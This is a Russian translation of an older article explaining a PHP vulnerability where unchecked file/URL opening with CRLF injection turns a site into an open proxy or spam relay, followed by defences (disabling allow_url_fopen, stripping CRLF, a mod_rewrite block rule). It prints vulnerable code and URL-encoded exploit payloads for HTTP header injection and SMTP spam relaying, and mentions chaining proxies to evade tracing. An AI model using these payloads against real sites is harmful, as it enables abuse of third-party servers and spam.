Рецепты программирования на PHP

  Главная   Учебник   Статьи   FAQ   Книги   Ссылки  

Открытие файлов и внешние данные.

Потенциальная уязвимость php-скриптов

Jackie Treehorn

Перевод: Дмитрий Лебедев

Функции fopen, file, include и require могут открывать файлы с других сайтов по протоколам http и ftp. Эта возможность несёт в себе потенциальную уязвимость в php-скриптах, позволяющую использовать сайт как прокси.

Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.

В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.

В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.

Уязвимость

Url fopen wrapper

Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих. Если имя файла начинается с "http://", сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr). Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную. Данная опция отключается в настройках php, параметр allow_url_fopen.

CR/LF в HTTP-запросах

Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов». Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".

Untrusted input

На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.

Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:

<?php
echo implode("", file(substr($REQUEST_URI, 1)));</php>

От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com: http://n00b.programmer.com/http://example.com Другой вариант — все адреса на сайте имеют вид http://n00b.programmer.com/index.php?f=news В таком случае злоумышленник будет пробовать открыть адрес типа http://n00b.programmer.com/index.php?f=http://example.com Очень важно не доверять входящим данным и фильтровать при помощи регулярных выражений входящие запросы.

Эксплойт

Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом. Если злоумышленник откроет путь

index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Host:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A

то скрипт выполнит HTTP-запрос:

GET example.com/ HTTP/1.0\r\n
Host: example.com\r\n
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Host: www.site1.st\r\n
User-Agent: PHP/4.1.2\r\n
\r\n

Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса. Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.

Умное использование эксплойта

Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег. Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство. Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром:

index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(должно быть одной строкой) модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:

GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
MAIL FROM:\r\n
RCPT TO:\r\n
DATA\r\n
i will never say the word PROCRASTINATE again\r\n
.\r\n
QUIT\r\n\r\n
HTTP/1.0\r\n
Host: mail.site1.st:25\r\n
User-Agent: PHP/4.1.2\r\n\r\n

PHP и почтовый сервер будут ругаться, но письмо будет отправлено. Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной. На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.

Меры защиты от эксплойта

Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.

Проверка журнала запросов

Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки. Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".

Настройка php

Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции. Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку: php_value allow_url_fopen 0 Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.

Изменение кода

Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя. Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://. Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты. В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.

Прекращение работы при оффенсивном запросе

Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси. Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:

RewriteRule ((%3A|:)25|%0D%0A) - [G]

При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.

Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки. В зависимости от разных условий оно может варьироваться.

Hosted by uCoz